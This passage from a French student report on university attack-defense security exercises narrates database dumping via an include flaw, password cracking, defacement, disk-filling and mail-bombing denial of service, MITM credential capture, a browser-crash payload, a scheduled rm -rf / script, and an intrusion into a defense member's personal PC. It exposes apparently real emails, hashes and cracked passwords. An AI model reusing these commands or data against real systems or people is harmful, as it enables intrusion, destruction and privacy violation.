53 Nous avons contourné le problème en réutilisant la faille include, qui, elle, n'avait pas été corrigée. Après avoir testé plusieurs méthodes pour accéder à la base de données, nous avons finalement utilisé une bonne vieille ligne de commande : mysqldump --user=defense_2 --password=testtest --host=localhost --databases linux_test > /tmp/databases.sql Nous avons récupéré le fichier créé et regardé le contenu de la table USER : Dumping data for table `user` -- LOCK TABLES `user` WRITE; /*!40000 ALTER TABLE `user` DISABLE KEYS */; INSERT INTO `user` VALUES (1,'bob','413f79a8856da274f06dbf2b1ba58b19','jeremy.py@gmail.com','etu'),(2,'admin2','ae4b653cfd13f247dc45937e63f7abd8','root@root.com','root'),(4,'ao un','4124bc0a9335c27f086f24ba207a4912','aoun@irit.fr','prof'),(5,'barrère', '35ce1d4eb0f666cd136987d34f64aedc','barrere@irit.fr','prof'),(6,'torguet',' fc9fdf084e290f26a270390dc49061a2','torguet@irit.fr','prof'),(7,'desprats',' e60bd1215f36719a308a25b798','desprats@cict.fr','prof'),(8,'blanc','e5 1a968361db615e18ad11fe34c6718e','j@wanadoo.fr','etu'),(9,'lawani','e037bb23 30cf2a94e95f1e7692db4529','aziz@wanadoo.fr','etu'),(10,'nembrot','567c edfa1cdbad4c55a80580df','david.nembrot@gmail.com','etu'),(11,'volnyanne','270774cb1051a2575e2fd0574ce2bd66','j.py@voila.fr','etu'),(12,'galy', 'f069d90638f3393acb3a8832cd7b4302','galy@stri.net','prof'),(13,'bach','799a e2365b151d790de8d db46','anais_royo@yahoo.fr','etu'),(14,'thomas','bf c f32e774a899807d8f34','test@test.com','etu'),(15,'lamotte','1715c c18be b899a247','ssibal@ssibal.com','etu'),(16,'','60c01e4ad89 d6a27f de1da6','aa','etu'),(17,'','ed7f8b9981c d3ebc3832b1ac ','divad;gnik@gmail.com','etu'),(18,'','4e713b259e3143fe7c701bd4381fd791',' kevin.capecchi@free.fr','etu'),(19,'','b002154ebd9b844df1d7e6042f259579','','etu'); L'équipe défense a eu la bonne idée de crypter les mots de passe présents dans la base. Mais des outils disponibles sur le web nous ont permis de casser cette protection. Page 53 sur 77

54 Liste obtenue : Résultat du crack 'bob'----> boss2007 'admin2'----> stri2007 'aoun'----> aa 'barrère'----> fb 'torguet'----> pt 'desprats'----> td 'blanc'----> agiqsu47 'lawani'----> acehlmu3 'nembrot' ----> dn 'volny-anne'----> djptvz46 'galy'----> diruwy69 'bach'----> ciklns35 'thomas'----> ahswxy15 'lamotte'----> ceoqru67 3. Défaçage du site Nous avions donc accès à la partie «administration» du site. Nous en avons profité pour supprimer, modifier, ajouter des données. Page 54 sur 77

55 Modification du mot de passe administrateur du site Page 55 sur 77

56 Modification du mot de passe d'un utilisateur Page 56 sur 77

57 4. Déni de service et jeu de dupe Le but que nous nous étions fixé était de saturer les disques, et ainsi de provoquer un déni de service. Nous avons donc commencé à faire de fausses requêtes d'inscription en masse sur leur site. Une base temporaire bien chargée Leur machine était totalement surchargée (indice de charge 18 avec 6 scripts qui tournaient en parallèle), à tel point qu'elle a fini par rebooter. Nous avons donc lancé par la suite uniquement 4 scripts afin d'éviter que la machine plante avant d'être pleine. Page 57 sur 77

58 La charge système grimpe en flèche.. Page 58 sur 77

59 ... à tel point que la machine vient de rebooter! Page 59 sur 77

60 Toutefois, cette méthode était trop lente et après 24H, nous n'avons rempli que la moitié de la partition /var (il est à noter que le disque était correctement partitionné). Nous avons donc cherché un endroit discret sur lequel nous avions les droits d'écriture, que nous avons réussi à saturer. //recherche des fichiers / dossiers en écriture pour Apache find / -perm -2 -uid 33 -ls drwxrwxrwx 4 www-data www-data 4096 Sep 10 05:02 /var/lib/apache/mod-bandwidth drwxrwxrwx 2 www-data www-data 4096 Mar /var/lib/apache/mod-bandwidth/link drwxrwxrwx 2 www-data www-data 4096 Mar /var/lib/apache/mod-bandwidth/master lrwxrwxrwx 1 www-data www-data 0 Dec 5 12:15 /proc/18323/task/18323/cwd -> /proc/18323/task/ //remplissage du disque dd if=/dev/zero of=/var/lib/apache/mod-bandwidth/.viking bs=1m count=1024 //vérification du remplissage df -h /dev/mapper/srv--web-var 2.9G 2.7G 0 100% /var Cela a empêché le bon fonctionnement de mysql (impossible de le redémarrer selon la défense) et donc causé une inaccessibilité du site. Le process mysql est aux abonnés absents Page 60 sur 77

61 Le site est inaccessible Enfin, l'interface du shell implanté via la faille include permettant de passer des commandes SQL, nous avons détruit leurs tables, laissant juste la table «message» avec un petit clin d'oeil dedans. Il ne reste qu'une base, avec un message pas très officiel dedans. Page 61 sur 77

62 Enfin, un événement inattendu s'est produit : l'équipe audit pensait devoir analyser 1 Go de logs, ce qui est certainement dû à la création de ce fichier... B. Scénario 2 : Piratage de l'équipe audit 1. Récupération du mot de passe de phpmyadmin Nous avons mis en place un man in the middle. Lors de la récupération des informations, nous avons obtenu le mot de passe root de phpmyadmin du serveur de l'équipe audit, car ils n'y accédaient pas via https. Nous avons donc supprimé leurs bases de données, et provoqué un déni de service grâce à des requêtes vers une base de données inexistante. Le but ici était de camoufler nos attaques. Capture ettercap : HTTP : :8080 -> USER: root PASS: su#!r2ot@sqldb? INFO: :8080/phpmyadmin/ HTTP : :8080 -> USER: root PASS: su#!r2ot@sqldb? INFO: :8080/phpmyadmin/navigation.php?token=7473f6aeaa6dda29ef351f7fc f053af2 HTTP : :8080 -> USER: root PASS: su#!r2ot@sqldb? INFO: :8080/phpmyadmin/main.php?token=7473f6aeaa6dda29ef351f7fcf053af 2 HTTP : :8080 -> USER: root PASS: su#!r2ot@sqldb? INFO: :8080/phpmyadmin/phpmyadmin.css.php Page 62 sur 77

63 Déni de service de la sonde C. Scénario 3 : Déni de service sur les clients Firefox Nous avions fait une maquette dans laquelle on exploitait un script qui faisait planter Mozilla firefox, puis le système. Nous avons demandé à la défense de visiter notre site, qui contenait cette page infectée, mais ils avaient appliqué le patch nécessaire. Le plantage de firefox a bien eu lieu, mais pas celui du système : <iframe id="x" src="javascript:document.location='\x00res://'" width="100%" height="200"></iframe> <iframe id="y" src="javascript:document.location='\x00about:config'" width="100%" height="200"></iframe> <iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe> source : D. Conclusions Page 63 sur 77

64 Les scénarios prévus ont bien réussi. Nous avons vu lors de cette confrontation l'impact que peut avoir la récupération de données via une faille include mais aussi via la technique du MITM. Page 64 sur 77

65 VII. 3ème confrontation A. Mail bombing 1. Qu est ce que le mail bombing? Le mail-bombing est une technique d'attaque visant à saturer une boîte aux lettres électronique par l'envoi en masse de messages quelconques par un programme automatisé. 2. But Le but du Mail Bombing est d'obtenir un déni de service. Le déni de service peut être à plusieurs niveaux: - saturer la boite mail de l'utilisateur (pénalisant pour l'utilisateur, mais pas pour le serveur et l'entreprise) - saturer la partition qui contient le /var où seront en théorie contenus les mails. Le niveau de déni de service est ici plus haut puisque cela peut atteindre tous les services qui auraient besoin d'espace sur /var (serveur web, base de donnée, ) - saturer tout l'espace disque du serveur si le partitionnement n'a pas été optimisé - saturer la bande passante du serveur ou de l'accès Internet de l'entreprise - faire monter la charge de travail du serveur, jusqu'à plantage (si les protections sont désactivées comme lors de la 2 ième confrontation), ou tout simplement pour monopoliser les ressources et empêcher les autres services de fonctionner. Le plus gros problème à résoudre pour un mail bombing efficace est d'avoir les ressources disponibles. En effet, pour pouvoir saturer le serveur ou sa connexion Internet, il faut avoir une capacité d'envoi de mail supérieure à sa capacité de réception. Sur internet, ce problème est extrêmement important et très difficile à résoudre. En effet, on peut admettre qu'un bon serveur aura une bande passante de 100Mbps (aujourd'hui, le prix d'une telle bande passante avec un serveur hébergé est dérisoire). Si on prend comme capacité maximum d'upload d'une connexion internet 1Mbps, on peut tout de suite calculer que pour saturer les 100Mbps du serveur il faut au moins 100PC. Si on tient compte du débit réellement effectif de ces connexions et du temps d'établissement des connexions, alors ce chiffre peut être largement multiplié. Le Page 65 sur 77

66 chiffre de 1000 PC pour saturer efficacement la bande passante d'un serveur avec une connexion de 100Mbps ne nous paraît absolument pas exagéré. On comprend alors aisément la nécessité pour les pirates d'utiliser des botnets (ou réseaux de PC zombies). Ces réseaux permettent aux pirates d'avoir des milliers de PC sous leur contrôle, activables tous en même temps pour une même attaque sur un site. Ici, le problème se pose moins. En effet, nous avons la possibilité d'avoir des pc pour l'attaque connectés avec la même bande passante que le serveur. Le nombre de PC à utiliser sera donc bien moins important. 3. Préparation de l'attaque Afin de maximiser la puissance d'attaque, nous avons choisi d'installer un mail exchanger sur chaque PC d'attaque. Ceux-ci étant sous linux, nous avons installé postfix en simple relais SMTP. Tout d'abord, il a fallu déterminer un compte mail actif sur le serveur. Pour cela, nous avons effectué une connexion en console sur le port SMTP et envoyé une séquence de commande SMTP pour déterminer quels comptes pourraient être actifs. Lors de la commande "RCPT TO: <adresse>" une erreur 250 signifie que le mail est bon, une erreur 550 que le mail n'existe pas. Il se trouve que postfix n'avait pas été finement paramétré et le compte root pouvait recevoir des mails. Le compte a donc été facile à trouver. Par des requêtes DNS avec l'outil dig, nous avons réussi à déterminer quel serveur DNS et quel nom de domaine utiliser. L'adresse mail qui sera donc la cible sera: root@mail.defense2.stri. 4. Script de mail bombing. Linux permet d'utiliser la commande mail pour envoyer des mails en une seule ligne de commande. Nous avons donc réalisé un petit script pour faire tourner cette commande en boucle. Postfix est installé et configuré par défaut pour être utilisé en relais sortant avec l'utilisation de "mail". Nous n'avons pas eu besoin de toucher à sa configuration. #!/bin/bash while true do Page 66 sur 77

67 echo "Envoi du mail" mail -s test < hd.jpg echo "Mail envoyé" done hd.jpg est ici une image de 1Mo qui nous sert uniquement à remplir le corps du message avec des données binaires. Nous avions tenté auparavant d'envoyer des mails dont le corps était un fichier contenant uniquement de 0 sur 1Mo, mais postfix compressant les mails au stockage, l'espace disque se remplissait trop lentement. L'utilisation de données binaires rend la compression moins efficace. Nous avons utilisé pour cette attaque 3 PC en même temps. 5. Résultats Déni de service par occupation de la bande passante et des ressources : durant toute la durée de l'attaque le site web de l'entreprise est malgré tout resté opérationnel. Nous n'avons pas réussi à empêcher les clients d'accéder au site web ou même de le ralentir de façon importante. Nous pouvons expliquer ceci par le fait que les connexions sur le routeur étaient limitées à une connexion TCP par source par seconde. Ainsi, la bande passante que nous pouvions occuper avec nos clients était de: 1 conn/s * 8Mb de transfert par connexion * 3PC = 24 Mbps, soit environ ¼ des ressources réseau du serveur. Il nous aurait fallu utiliser au moins 10pc pour pouvoir faire saturer le serveur, mais nous n'avions pas ces ressources à notre disposition. Concernant l'occupation du disque, grâce à une console sur le serveur (détaillée plus loin dans le rapport), nous avons pu mesurer la vitesse de remplissage du disque et la place restante. Ainsi, la vitesse de remplissage était d'environ 3Mo/s, ce qui confirme notre théorie concernant la limitation du nombre de connexions. Nous sommes arrivés à remplir la partition du /var en moins de 15 minutes. Mais là encore, le succès a été modéré puisque l'équipe défense ayant bien fait son travail, /var était sur une partition dédiée et donc le serveur n'a pas été entièrement bloqué. Nous n'avons pas eu le temps de vérifier si les autres services étaient pénalisés par cette occupation de disque. Page 67 sur 77

68 Au niveau charge de travail du serveur le résultat du mail bombing est assez efficace. Alors que les attaques précédentes sur le service web faisaient monter le serveur à un indice de charge d'environ 18 ou 20, le mail bombing a fait monter ce même indice à plus de 55, en utilisant moins de PC d'attaque. Durant tout ce temps, la charge du processeur n'est pas descendue en dessous de 90%. Mais là encore, cette forte charge n'a pas été profitable, la partition ayant été remplie rapidement. Une fois la partition remplie, la charge est retombée vers un indice de 15. Nous n'avons donc pas pu voir les effets d'une telle charge sur une longue durée (chauffe du serveur et plantage??). B. Découverte inattendue 1. Explications Lors de notre dernier regroupement, nous avons donc décidé de tester plusieurs scénarii, le mail bombing ci-dessus ainsi que d autres attaques. Mais, pendant la mise en place dans la salle U2, nous avons juste branché un écran et un clavier sur le serveur de l équipe défense et à notre grande surprise une session était ouverte en mode. root. A partir de là, tout était possible! Nous avons donc décider de créer un user robert. Nous l avons bien sûr changé pour qu il soit root (UID/GID 0 dans /etc/passwd ). A partir de là, nous créons un utilisateur mooky pour la connexion à distance. Une fois connecté, tout étant possible, nous avons fait quelques modifications sur le serveur : Page 68 sur 77

69 - Désactivation de mysql (/etc/init.d/mysql stop) - Remplacement du site ( /var/www/site) - Création d un script faisant <rm -rf /> - Lancement du script à 7h du matin Console en mode administrateur Page 69 sur 77

70 Le nouveau site de la défense 2. Conclusion Nous démontrons donc que l équipe défense a mis en place une politique de sécurité mais elle n a pas prêté attention au détail rudimentaire en matière de protection des données à savoir ne jamais laisser sa session ouverte (surtout en mode admin)!! Page 70 sur 77

71 VIII. Attaques «gratuites» A. Attaque vers un ordinateur personnel de la défense Récupération de l'adresse IP d'un membre de la défense (Mr X) En utilisant un mail envoyé par Mr X, nous avons récupéré l'adresse IP de l'intéressé (contenu dans l'en-tête du mail).... Received: by with SMTP id t12cs296511wad; Sun, 14 Oct :50: (PDT) Received: by with SMTP id y2mr ugp ; Sun, 14 Oct :50: (PDT) Received: from [ ] by web26004.mail.ukl.yahoo.com via HTTP; Sun, 14 Oct :49:59 CEST Date: Sun, 14 Oct :49: (CEST) Ensuite, un petit scan de port avec nmap. Ce n'est pas discret, mais ce n'est pas le but... nmap -ss -p P Résultat : Starting Nmap 4.11 ( ) at :47 CEST All 1024 scanned ports on are filtered Comme nous pouvons le constater les 1024 premiers ports sont fermés... Ce n'est pas grave, continuons un peu l'investigation : nmap -ss -p P Résultat : Starting Nmap 4.11 ( ) at :17 CEST Interesting ports on : PORT STATE SERVICE /tcp open ms-term-serv... Page 71 sur 77

72 Bingo, un port ouvert! On va voir ce que ça donne : Voici l'invite de login : Cette version de windows est connue, nous allons donc tester le mot de passe par défaut pour le compte administrateur. Page 72 sur 77

73 Par chance, le mot de passe n'a pas été changé, mais il reste un problème : par défaut, Windows n'autorise pas une double connexion sur un poste utilisateur. Ce n'est pas très grave, nous allons patcher le système pour qu'on puisse revenir et utiliser la session administrateur en même temps que Mr X. Nous devons nous connecter une première fois en même temps, ce qui aura pour effet de déconnecter l'utilisateur (c'est pourquoi nous avons procédé à cette opération la nuit...). Il suffit d'ajouter une clé à la base de registre (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlTerminal Server\Licensing Core registry\enableconcurrentsessions), et de redémarrer le PC (toujours pas très discret, mais ce n'est pas le but). Suite à cela, nous avons décidé de ne pas aller plus loin, et de ne pas utiliser ce moyen, car c'était simplement pour prouver qu'un employé peut être pris pour cible par un attaquant. Nous avons d'ailleurs remarqué à cette occasion que ce sont parfois les attaques les plus basiques qui fonctionnent le mieux... Page 73 sur 77